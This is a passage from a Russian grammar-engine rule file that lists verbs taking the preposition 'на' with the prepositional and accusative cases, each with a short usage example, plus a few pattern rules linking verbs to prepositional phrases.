rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
